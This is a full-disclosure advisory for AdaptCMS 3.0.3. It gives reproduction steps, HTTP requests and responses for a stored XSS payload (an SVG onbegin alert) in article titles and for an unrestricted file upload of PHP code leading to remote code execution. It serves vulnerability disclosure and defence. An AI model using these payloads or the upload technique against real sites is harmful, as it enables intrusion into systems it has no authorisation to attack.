full-disclosure - [FD] Stored XSS and RCE

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Date: Tue, 6 Feb 2024 16:26:45 +0000
From: Andrey Stoykov <mwebsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Stored XSS and RCE - adaptcmsv3.0.3

# Exploit Title: Stored XSS and RCE - adaptcmsv3.0.3
# Date: 02/2024
# Exploit Author: Andrey Stoykov
# Version: 3.0.3
# Tested on: Ubuntu 22.04
# Blog: http://msecureltd.blogspot.com

 *Description*

- It was found that adaptcms v3.0.3 was vulnerable to stored cross
site scripting

- Also the application allowed the file upload functionality to upload
PHP files which resulted in remote code execution

*Stored XSS*

*Steps to Reproduce:*

   1. Login as admin and add a new article
   2. In "Title" add the following payload <svg><animate
onbegin=alert(1) attributeName=x dur=1s>
   3. The stored XSS would be triggered upon visiting the article by
normal user

// HTTP POST request

POST /adaptcms/admin/articles/preview/?preview=1 HTTP/1.1

Host: 192.168.232.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63
Safari/537.36
[...]

_method=PUT&data%5B_Token%5D%5Bkey%5D=357ba58e7871f0849edd3c623771a379e2fc1a2c&*data%5BArticle%5D%5Btitle%5D=%3Csvg%3E%3Canimate+onbegin%3Dalert(1)+attributeName%3Dx+dur%3D1s%3E*&data%5BArticleValue%5D%5B0%5D%5Bdata%5D=%3Cp%3ETest%3C%2Fp%3E[...]

// HTTP GET request

GET /adaptcms/admin/articles/preview HTTP/1.1
Host: 192.168.232.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63
Safari/537.36
[...]

// HTTP response

HTTP/1.1 200 OK
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40
mod_perl/2.0.8-dev Perl/v5.16.3
[...]

[...]
<!DOCTYPE html>
<html lang="en">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />	*<title>*
*		AdaptCMS 3.0.3 | <svg><animate onbegin=alert(1) attributeName=x
dur=1s>	</title>*
[...]

*Unrestricted File Upload*

*Steps to Reproduce:*

   1. Login as admin and visit the "Media" page
   2. Click on "Files" then use the "Add File" functionality
   3. In "File Contents" add the following PHP code <?php phpinfo(); ?>

// HTTP POST request

POST /adaptcms/admin/files/add HTTP/1.1
Host: 192.168.232.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63
Safari/537.36
[...]

[...]
------WebKitFormBoundaryVO2wc6i6YcQWk3oU
*Content-Disposition: form-data; name="data[0][File][dir]"*

*uploads/*
------WebKitFormBoundaryVO2wc6i6YcQWk3oU
Content-Disposition: form-data; name="data[0][File][mimetype]"

------WebKitFormBoundaryVO2wc6i6YcQWk3oU
Content-Disposition: form-data; name="data[0][File][filesize]"

------WebKitFormBoundaryVO2wc6i6YcQWk3oU
*Content-Disposition: form-data; name="data[File][content]"*

*<?php phpinfo(); ?>*
------WebKitFormBoundaryVO2wc6i6YcQWk3oU
[...]

// HTTP response

HTTP/1.1 302 Found
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40
mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
*Location: http://192.168.232.133/adaptcms/admin/files
<http://192.168.232.133/adaptcms/admin/files>*
[...]

// HTTP GET request

GET /adaptcms/uploads/*test-php.php* HTTP/1.1
Host: 192.168.232.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63
Safari/537.36
[...]

// HTTP response

HTTP/1.1 200 OK
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40
mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
[...]

[...]
<h1 class="p">*PHP Version 5.6.40*</h1>
</td></tr>
</table>
<table>
<tr><td class="e">System </td><td class="v">*Linux ubuntu
6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12
18:54:30 UTC 2 x86_64* </td></tr>
[...]
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